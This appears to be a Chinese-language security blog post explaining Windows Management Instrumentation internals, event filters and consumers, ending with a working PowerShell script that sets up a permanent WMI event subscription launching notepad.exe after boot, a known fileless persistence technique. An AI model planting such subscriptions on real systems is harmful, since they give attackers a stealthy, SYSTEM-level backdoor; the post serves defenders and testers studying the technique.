??WMI (Windows Management Instrumentation,Windows管理規范) 從Windows 2000開始被包含于作業系統后,就一直是Windows作業系統的一部分,這項技術對于系統管理員來說具有巨大價值,因為它提供了提取所有型別資訊、配置組件和基于系統數個組件的狀態采取行動等方式,由于這種靈活性,且被早早地被包含于作業系統中,攻擊者們便看到了它的潛力,并且已經開始濫用這項技術,
WMI 架構
-
WMI 使用 CIM 和 WBEM 標準以執行以下操作:
- 提供一個物件架構來描述“托管組件”
- 提供一種填充物件的方法 --- 比如:WMI提供程式
- 存盤持久化物件 --- WMI/CIM存盤庫
- 物件查詢 --- WQL(WMI Query Language)
- 傳輸物件資料 --- 類(class)方法、事件等
-
持久化 WMI 物件被保存在 WMI 存盤庫中:
- %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
- %SystemRoot%\System32\wbem\Repository\FS\OBJECTS.DATA
- 對于資料取證很有價值
-
WMI設定:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
- Win32_WmiSetting class

WMI 互動工具
- Powershell --- 內置
- wmic.exe --- 內置
- Sapien WMI Explorer --- 商業工具
- wbemtest.exe --- 內置
- winrm.exe --- 內置
- Windows 腳本宿主語言:
- VBScript
- JScript
- IWbem* COM API
- .NET System.Management classes
遠程 WMI
- 遠程 WMI 協議 - DCOM
- 遠程 WMI 協議 - WinRM/PowerShell Remoting
WMI 事件
- WMI 可以觸發任何可接收的事件,對于攻擊者和防御者都很有價值
- 三個條件:
- Filter - 觸發事件需要的動作
- Consumer - 事件被觸發時的動作
- Binding - 注冊系結一對 Filter <--> Consumer
- 本地事件生命周期即為宿主行程的運行時間
- 永久性的 WMI 事件是持久性駐留的,并且以SYSTEM權限運行
1. WMI 事件型別
- 內部事件(Intrinsic)
- 內部事件作為系統類存在于每個命名空間
- 攻擊者/防御者可以靈活地使用這些事件
- 需要在輪詢間隔時間內進行捕獲,使用需謹慎
- 可能會錯過事件觸發(因為輪詢?)
__NamespaceOperationEvent __ClassCreationEvent
__NamespaceModificationEvent __InstanceOperationEvent
__NamespaceDeletionEvent __InstanceCreationEvent
__NamespaceCreationEvent __MethodInvocationEvent
__ClassOperationEvent __InstanceModificationEvent
__ClassDeletionEvent __InstanceDeletionEvent
__ClassModificationEvent __TimerEvent
__ConsumerFailureEvent __EventDroppedEvent
__EventQueueOverflowEvent __MethodInvocationEvent
- 外部事件(Extrinsic)
- 外部事件作為非系統類可被立即觸發
- 不會錯過事件的觸發
- 通常不包含太多資訊
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
... ...
2. WMI 事件 - Filters
- 被觸發事件的定義
- WMI查詢陳述句的形式來指定
- 注意性能消耗
- 內部事件查詢(由于輪詢方式,需要使用 WITHIN 子句指定輪詢間隔)
- SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
((__CLASS = "__InstanceCreationEvent" OR __CLASS = "__InstanceModificationEvent") AND TargetInstance ISA "CIM_DataFile") AND (TargetInstance.Extension = "doc") OR (TargetInstance.Extension = "docx") --- 每隔30秒查詢一次后綴為"doc"和"docx"的檔案操作
- SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
- 外部事件查詢(等效于實時)
- SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2 --- 可移動設備(EventType=2)插拔
3. WMI 事件 - Consumers
-
事件觸發時執行該動作
-
標準的事件消費者:
- LogFileEventConsumer
- ActiveScriptEventConsumer
- NTEventLogEventConsumer
- SMTPEventConsumer
- CommandLineEventConsumer
- ScriptingStandardConsumerSetting
具體參見:https://docs.microsoft.com/en-us/windows/win32/wmisdk/standard-consumer-classes
-
出現在下列命名空間中:
- ROOT\CIMV2
- ROOT\DEFAULT
- ROOT\subscription
WMI 攻擊
??WMI 腳本宿主行程:%SystemRoot%\system32\wbem\scrcons.exe
??這里只測驗以下持久化駐留,
??最終效果是:系統啟動后200至300秒間,相應事件每隔60秒進行一次的輪詢觸發,則執行notepad.exe,
$filterName = "testFilter"
$consumerName = 'testComsumer'
$binpath = 'C:\windows\system32\notepad.exe'
$query = "select * from __InstanceModificationEvent within 60 where TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUptime < 300"
# 創建Filter
$wmiEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query} -ErrorAction Stop
# 創建Consumer
$wmiEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$binpath}
# 系結Filter和COnsumer
Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$wmiEventFilter;Consumer=$wmiEventConsumer}


參考:
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor.pdf
https://www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity
https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
https://threathunterplaybook.com/notebooks/windows/03_persistence/WIN-190810170510.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/270812.html
標籤:訊息安全
